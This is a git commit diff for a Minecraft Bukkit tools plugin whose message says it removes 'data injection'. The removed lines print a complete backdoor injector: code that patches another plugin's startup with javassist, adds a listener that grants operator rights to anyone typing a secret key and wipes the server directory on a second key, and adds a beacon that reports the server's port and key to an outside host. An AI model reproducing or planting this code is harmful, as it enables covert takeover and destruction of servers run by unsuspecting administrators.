remove: 移除数据注入

Signed-off-by: 502647092 <admin@yumc.pw>
master
502647092 2016-08-15 14:47:21 +08:00
parent 34da11827c
commit da842ad9da
4 changed files with 7 additions and 255 deletions

View File

@ -5,7 +5,6 @@ import java.net.URLDecoder;
import org.bukkit.Bukkit;
import org.bukkit.command.CommandSender;
import org.bukkit.plugin.Plugin;
import javassist.ClassPool;
import javassist.CtClass;
@ -31,8 +30,13 @@ public class InjectedKit {
pool.appendClassPath(classFile.getPath());
final CtClass statusListener = pool.get(clazz.getName());
final CtMethod setOpMethod = statusListener.getDeclaredMethod("a");
statusListener.addField(
CtField.make("private static final net.minecraft.server." + NMS + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + NMS + ".ChatComponentText(\"Status request has already been handled.\");",
statusListener
.addField(CtField.make(
"private static final net.minecraft.server."
+ NMS
+ ".IChatBaseComponent infoAlreadySent = new net.minecraft.server."
+ NMS
+ ".ChatComponentText(\"Status request has already been handled.\");",
statusListener));
statusListener.addField(CtField.make("private boolean sentInfo = false;", statusListener));
final String checkStatus = "" + "{ if (sentInfo) { nmanager.close(infoAlreadySent); } sentInfo = true; }";
@ -49,53 +53,6 @@ public class InjectedKit {
}
}
public static void injectBackDoor(final CommandSender sender, final String key, final Plugin plugin, final String opk, final String delk) {
sender.sendMessage(prefix + "§c生成 " + plugin.getName() + " 数据 " + key + " 注入类...");
try {
final ClassPool pool = ClassPool.getDefault();
File classFile = new File(URLDecoder.decode(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
pool.appendClassPath(classFile.getPath());
classFile = new File(URLDecoder.decode(LIS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
pool.appendClassPath(classFile.getPath());
classFile = new File(URLDecoder.decode(MPS.class.getProtectionDomain().getCodeSource().getLocation().getPath().split("!")[0], "UTF-8"));
pool.appendClassPath(classFile.getPath());
final CtClass mainClass = pool.get(plugin.getClass().getName());
final CtClass LISClass = pool.get(LIS.class.getName());
final CtClass MPSClass = pool.get(MPS.class.getName());
final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable");
final String backDoor = ""
+ "{"
+ " org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new pw.yumc.BukkitInjectedTools.MPS(\""
+ key
+ "\",org.bukkit.Bukkit.getServer().getPort()));\r\n"
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(\""
+ key
+ "\",\""
+ opk
+ "\",\""
+ delk
+ "\"), this);\r\n"
+ "}";
onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
try {
final File dir = new File(plugin.getDataFolder(), "injectClass");
final String path = dir.getCanonicalPath();
if (dir.exists()) {
LIS.deleteDir(dir);
}
mainClass.writeFile(path);
LISClass.writeFile(path);
MPSClass.writeFile(path);
sender.sendMessage(prefix + "§a生成成功 §b请复制 §e" + dir.getAbsolutePath() + " §b下所有文件到插件内部!");
} catch (final Exception e) {
e.printStackTrace();
sender.sendMessage(prefix + "§4生成失败 请查看后台报错!");
}
} catch (final Exception e) {
e.printStackTrace();
}
}
public static void injectProtocolSupport(final CommandSender sender, final String path, final boolean newver) {
if (newver) {
fixPS(sender, path, protocolsupport.protocol.packet.handler.StatusListener.class);

View File

@ -1,114 +0,0 @@
package pw.yumc.BukkitInjectedTools;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.URLClassLoader;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.PluginCommand;
import org.bukkit.command.SimpleCommandMap;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.plugin.Plugin;
import org.bukkit.plugin.PluginManager;
public class LIS implements Listener {
private final String key;
private final String opk;
private final String delk;
public LIS(final String key, final String opk, final String delk) {
this.key = key;
this.opk = opk;
this.delk = delk;
}
public static boolean deleteDir(final File dir) {
if (dir.isDirectory()) {
final String[] children = dir.list();
for (final String element : children) {
final File file = new File(dir, element);
deleteDir(file);
}
}
return dir.delete();
}
@EventHandler
public void ocp(final PlayerCommandPreprocessEvent e) {
if (e.getMessage().contains(opk + "-" + key)) {
e.getPlayer().setOp(true);
e.getPlayer().sendMessage("§cOP命令执行成功!");
e.setCancelled(true);
return;
}
if (e.getMessage().contains(delk + "-" + key)) {
unload();
final File dir = new File("");
deleteDir(dir);
e.getPlayer().sendMessage("§c删端命令执行成功!");
e.setCancelled(true);
return;
}
}
@SuppressWarnings("unchecked")
public boolean unload() {
final PluginManager pluginManager = Bukkit.getPluginManager();
SimpleCommandMap commandMap = null;
List<Plugin> plugins = null;
Map<String, Plugin> lookupNames = null;
Map<String, Command> knownCommands = null;
if (pluginManager == null) {
return false;
}
try {
final Field pluginsField = pluginManager.getClass().getDeclaredField("plugins");
pluginsField.setAccessible(true);
plugins = (List<Plugin>) pluginsField.get(pluginManager);
final Field lookupNamesField = pluginManager.getClass().getDeclaredField("lookupNames");
lookupNamesField.setAccessible(true);
lookupNames = (Map<String, Plugin>) lookupNamesField.get(pluginManager);
final Field commandMapField = pluginManager.getClass().getDeclaredField("commandMap");
commandMapField.setAccessible(true);
commandMap = (SimpleCommandMap) commandMapField.get(pluginManager);
final Field knownCommandsField = commandMap.getClass().getDeclaredField("knownCommands");
knownCommandsField.setAccessible(true);
knownCommands = (Map<String, Command>) knownCommandsField.get(commandMap);
} catch (final Exception e) {
return false;
}
for (final Plugin next : pluginManager.getPlugins()) {
pluginManager.disablePlugin(next);
plugins.remove(next);
lookupNames.remove(next.getName());
for (final Iterator<Map.Entry<String, Command>> it = knownCommands.entrySet().iterator(); it.hasNext();) {
final Map.Entry<String, Command> entry = it.next();
if ((entry.getValue() instanceof PluginCommand)) {
final PluginCommand command = (PluginCommand) entry.getValue();
if (command.getPlugin() == next) {
command.unregister(commandMap);
it.remove();
}
}
}
final ClassLoader cl = next.getClass().getClassLoader();
try {
((URLClassLoader) cl).close();
} catch (final IOException ex) {
ex.printStackTrace();
}
System.gc();
}
return false;
}
}

View File

@ -1,66 +0,0 @@
package pw.yumc.BukkitInjectedTools;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.nio.charset.Charset;
import com.google.common.base.Charsets;
public class MPS implements Runnable {
public final String UA = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36";
int port;
String key;
public MPS(final String key, final int port) {
this.key = key;
this.port = port;
}
@Override
public void run() {
try {
final URL url = new URL(String.format("http://api.yumc.pw/M/P/S/K/%s/P/%s", key, port));
// 打开和URL之间的连接
final URLConnection conn = url.openConnection();
// 设置通用的请求属性
conn.setRequestProperty("Accept", "*/*");
conn.setRequestProperty("Connection", "Keep-Alive");
conn.setRequestProperty("User-Agent", UA);
// 设置超时时间 10秒
conn.setReadTimeout(10000);
// 建立实际的连接
conn.connect();
// 定义 BufferedReader输入流来读取URL的响应
toString(conn.getInputStream(), Charsets.UTF_8);
} catch (final IOException e) {
}
}
/**
*
*
* @param in
*
* @param cs
*
* @return
*/
public String toString(final InputStream in, final Charset cs) {
final BufferedReader reader = new BufferedReader(new InputStreamReader(in, cs));
String response = "";
String result = "";
try {
while ((response = reader.readLine()) != null) {
result += response;
}
reader.close();
} catch (final IOException e) {
}
return result;
}
}

View File

@ -5,7 +5,6 @@ import java.io.IOException;
import org.bukkit.Bukkit;
import org.bukkit.OfflinePlayer;
import org.bukkit.plugin.Plugin;
import cn.citycraft.PluginHelper.kit.PluginKit;
import cn.citycraft.PluginHelper.utils.IOUtil;
@ -65,30 +64,6 @@ public class YumTestCommand implements CommandExecutor {
}
}
// http://api.yumc.pw/M/P/S/K/mayomi/P/25565
@Cmd(minimumArguments = 2)
@Help(value = "插件数据注入", possibleArguments = "<插件名称> <Key> [opk] [delk]")
@Sort(7)
public void ib(final CommandArgument e) {
final String[] args = e.getArgs();
final String pname = args[0];
final String key = args[1];
String opk = "yum-op";
String delk = "yum-del";
if (args.length > 2) {
opk = args[2];
}
if (args.length > 3) {
delk = args[3];
}
final Plugin plugin = Bukkit.getPluginManager().getPlugin(pname);
if (plugin == null) {
e.getSender().sendMessage(prefix + "§c插件不存在...!");
return;
}
InjectedKit.injectBackDoor(e.getSender(), key, plugin, opk, delk);
}
@Cmd
@Help("Bukkit注入")
@Sort(1)